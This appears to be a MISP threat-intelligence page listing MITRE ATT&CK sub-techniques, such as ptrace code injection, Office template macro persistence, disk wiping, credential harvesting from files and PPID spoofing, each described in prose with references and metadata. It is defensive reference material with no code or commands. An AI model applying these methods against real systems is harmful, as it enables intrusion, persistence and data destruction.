| kill_chain | ['attack-Office-365:collection', 'attack-Windows:collection', 'attack-Google-Workspace:collection', 'attack-macOS:collection', 'attack-Linux:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution'] |
| mitre_platforms | ['Office 365', 'Windows', 'Google Workspace', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Ptrace System Calls - T1631.001
Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID 1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee which can be used as unique global reference for Ptrace System Calls - T1631.001 in MISP communities and other software using the MISP galaxy
External references
- http://man7.org/linux/man-pages/man2/ptrace.2.html - webarchive
- https://attack.mitre.org/techniques/T1631/001 - webarchive
- https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf - webarchive
- https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1631.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion', 'mobile-attack-Android:privilege-escalation', 'mobile-attack-iOS:privilege-escalation'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Office Template Macros - T1137.001
Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)
Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)
Word Normal.dotm location:
C:\Users\<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm
Excel Personal.xlsb location:
C:\Users\<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB
Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.
Internal MISP references
UUID 79a47ad0-fc3b-4821-9f01-a026b1ddba21 which can be used as unique global reference for Office Template Macros - T1137.001 in MISP communities and other software using the MISP galaxy
External references
- http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ - webarchive
- https://attack.mitre.org/techniques/T1137/001 - webarchive
- https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ - webarchive
- https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 - webarchive
- https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 - webarchive
- https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office - webarchive
- https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea - webarchive
- https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1137.001 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Related clusters
To see the related clusters, click here.
System Language Discovery - T1614.001
Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)
There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions.(Citation: CrowdStrike Ryuk January 2019)
For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)
On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.
Internal MISP references
UUID c1b68a96-3c48-49ea-a6c0-9b27359f9c19 which can be used as unique global reference for System Language Discovery - T1614.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1614/001 - webarchive
- https://securelist.com/evolution-of-jsworm-ransomware/102428/ - webarchive
- https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/ - webarchive
- https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ - webarchive
- https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware - webarchive
- https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1614.001 |
| kill_chain | ['attack-Windows:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Transmitted Data Manipulation - T1641.001
Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.
One method to achieve Transmitted Data Manipulation is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has changed with the release of Android 10.
Adversaries may use Transmitted Data Manipulation to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.
Transmitted Data Manipulation was seen within the Android/Clipper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)
Internal MISP references
UUID 74e6003f-c7f4-4047-983b-708cc19b96b6 which can be used as unique global reference for Transmitted Data Manipulation - T1641.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1641.001 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Dead Drop Resolver - T1481.001
Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).
Internal MISP references
UUID 986f80f7-ff0e-4f48-87bd-0394814bbce5 which can be used as unique global reference for Dead Drop Resolver - T1481.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1481.001 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Security Software Discovery - T1418.001
Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions.
Internal MISP references
UUID 1d44f529-6fe6-489f-8a01-6261ac43f05e which can be used as unique global reference for Security Software Discovery - T1418.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1418.001 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Disk Content Wipe - T1561.001
Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.
Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like RawDisk to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from Data Destruction because sections of the disk are erased instead of individual files.
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Novetta Blockbuster Destructive Malware)
Internal MISP references
UUID fb640c43-aa6b-431e-a961-a279010424ac which can be used as unique global reference for Disk Content Wipe - T1561.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1561/001 - webarchive
- https://docs.microsoft.com/sysinternals/downloads/sysmon - webarchive
- https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf - webarchive
- https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf - webarchive
- https://www.justice.gov/opa/press-release/file/1092091/download - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1561.001 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-Network:impact'] |
| mitre_data_sources | ['Command: Command Execution', 'Drive: Drive Access', 'Drive: Drive Modification', 'Driver: Driver Load', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Security Software Discovery - T1518.001
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Adversaries may also utilize the Cloud API to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.
Internal MISP references
UUID cba37adb-d6fb-4610-b069-dd04c0643384 which can be used as unique global reference for Security Software Discovery - T1518.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1518.001 |
| kill_chain | ['attack-Windows:discovery', 'attack-IaaS:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Firewall: Firewall Enumeration', 'Firewall: Firewall Metadata', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Determine Physical Locations - T1591.001
Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).
Internal MISP references
UUID ed730f20-0e44-48b9-85f8-0e2adeb76867 which can be used as unique global reference for Determine Physical Locations - T1591.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1591.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Internet Connection Discovery - T1422.001
Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using adb shell netstat for Android.(Citation: adb_commands)
Adversaries may use the results and responses from these requests to determine if the mobile devices are capable of communicating with adversary-owned C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
Internal MISP references
UUID 45a5fe76-eda3-4d40-8f22-c186efd6278d which can be used as unique global reference for Internet Connection Discovery - T1422.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1422.001 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
LNK Icon Smuggling - T1027.012
Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the IconEnvironmentDataBlock) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.
Adversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., Malicious File), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by Command and Scripting Interpreter/System Binary Proxy Execution arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)
LNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.
Internal MISP references
UUID 887274fc-2d63-4bdc-82f3-fae56d1d5fdc which can be used as unique global reference for LNK Icon Smuggling - T1027.012 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.012 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
GUI Input Capture - T1417.002
Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)
There are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.(Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.(Citation: Group IB Gustuff Mar 2019)
Additionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:
- Adversaries start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)
- Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the
SYSTEM_ALERT_WINDOWpermission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) TheSYSTEM_ALERT_WINDOWpermission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)
Internal MISP references
UUID 4c58b7c6-a839-4789-bda9-9de33e4d4512 which can be used as unique global reference for GUI Input Capture - T1417.002 in MISP communities and other software using the MISP galaxy
External references
- http://cloak-and-dagger.org/ - webarchive
- http://w2spconf.com/2011/papers/felt-mobilephishing.pdf - webarchive
- https://attack.mitre.org/techniques/T1417/002 - webarchive
- https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf - webarchive
- https://developer.android.com/guide/components/activities/background-starts - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html - webarchive
- https://www.group-ib.com/blog/gustuff - webarchive
- https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/ - webarchive
- https://www.skycure.com/blog/accessibility-clickjacking/ - webarchive
- https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html - webarchive
- https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/ - webarchive
- https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1417.002 |
| kill_chain | ['mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access', 'mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Credentials In Files - T1552.001
Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping.(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)
In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)
Internal MISP references
UUID 837f9164-50af-4ac0-8219-379d8a74cefc which can be used as unique global reference for Credentials In Files - T1552.001 in MISP communities and other software using the MISP galaxy
External references
- http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx - webarchive
- http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html - webarchive
- https://attack.mitre.org/techniques/T1552/001 - webarchive
- https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 - webarchive
- https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/ - webarchive
- https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.001 |
| kill_chain | ['attack-Windows:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Containers:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS', 'Containers'] |
Related clusters
To see the related clusters, click here.
Disk Structure Wipe - T1561.002
Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.
On a network devices, adversaries may reformat the file system using Network Device CLI commands such as format.(Citation: format_cmd_cisco)
To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
Internal MISP references
UUID 0af0ca99-357d-4ba1-805f-674fdfb7bef9 which can be used as unique global reference for Disk Structure Wipe - T1561.002 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ - webarchive
- https://attack.mitre.org/techniques/T1561/002 - webarchive
- https://docs.microsoft.com/sysinternals/downloads/sysmon - webarchive
- https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf - webarchive
- https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668 - webarchive
- https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html - webarchive
- https://www.symantec.com/connect/blogs/shamoon-attacks - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1561.002 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-Network:impact'] |
| mitre_data_sources | ['Command: Command Execution', 'Drive: Drive Access', 'Drive: Drive Modification', 'Driver: Driver Load', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Device Administrator Permissions - T1626.001
Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for Endpoint Denial of Service, factory resetting the device for File Deletion and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app.
Device administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as Input Injection, an app can programmatically grant itself administrator permissions without any user input.
Internal MISP references
UUID 9c049d7b-c92a-4733-9381-27e2bd2ccadc which can be used as unique global reference for Device Administrator Permissions - T1626.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1626.001 |
| kill_chain | ['mobile-attack-Android:privilege-escalation'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Suppress Application Icon - T1628.001
A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.
This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)
Beginning in Android 10, changes were introduced to inhibit malicious applications’ ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application’s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app’s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application’s details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)
Internal MISP references
UUID f05fc151-aa62-47e3-ae57-2d1b23d64bf6 which can be used as unique global reference for Suppress Application Icon - T1628.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1628/001 - webarchive
- https://developer.android.com/reference/kotlin/android/content/pm/LauncherApps#getactivitylist - webarchive
- https://source.android.com/setup/start/android-10-release#limitations_to_hiding_app_icons - webarchive
- https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker - webarchive
- https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/ - webarchive
- https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1628.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Prevent Application Removal - T1629.001
Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.
Adversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's performGlobalAction(int) API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.
-
Case 1: If the integer argument passed to the API call is
2orGLOBAL_ACTION_HOME, the malicious application may direct the user to the home screen from settings screen -
Case 2: If the integer argument passed to the API call is
1orGLOBAL_ACTION_BACK, the malicious application may emulate the back press event
Internal MISP references
UUID dc01774a-d1c1-45fb-b506-0a5d1d6593d9 which can be used as unique global reference for Prevent Application Removal - T1629.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1629.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Parent PID Spoofing - T1134.004
Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
Internal MISP references
UUID 93591901-3172-4e94-abf8-6034ab26f44a which can be used as unique global reference for Parent PID Spoofing - T1134.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1134/004 - webarchive
- https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ - webarchive
- https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ - webarchive
- https://blog.xpnsec.com/becoming-system/ - webarchive
- https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags - webarchive
- https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works - webarchive
- https://www.countercept.com/blog/detecting-parent-pid-spoofing/ - webarchive
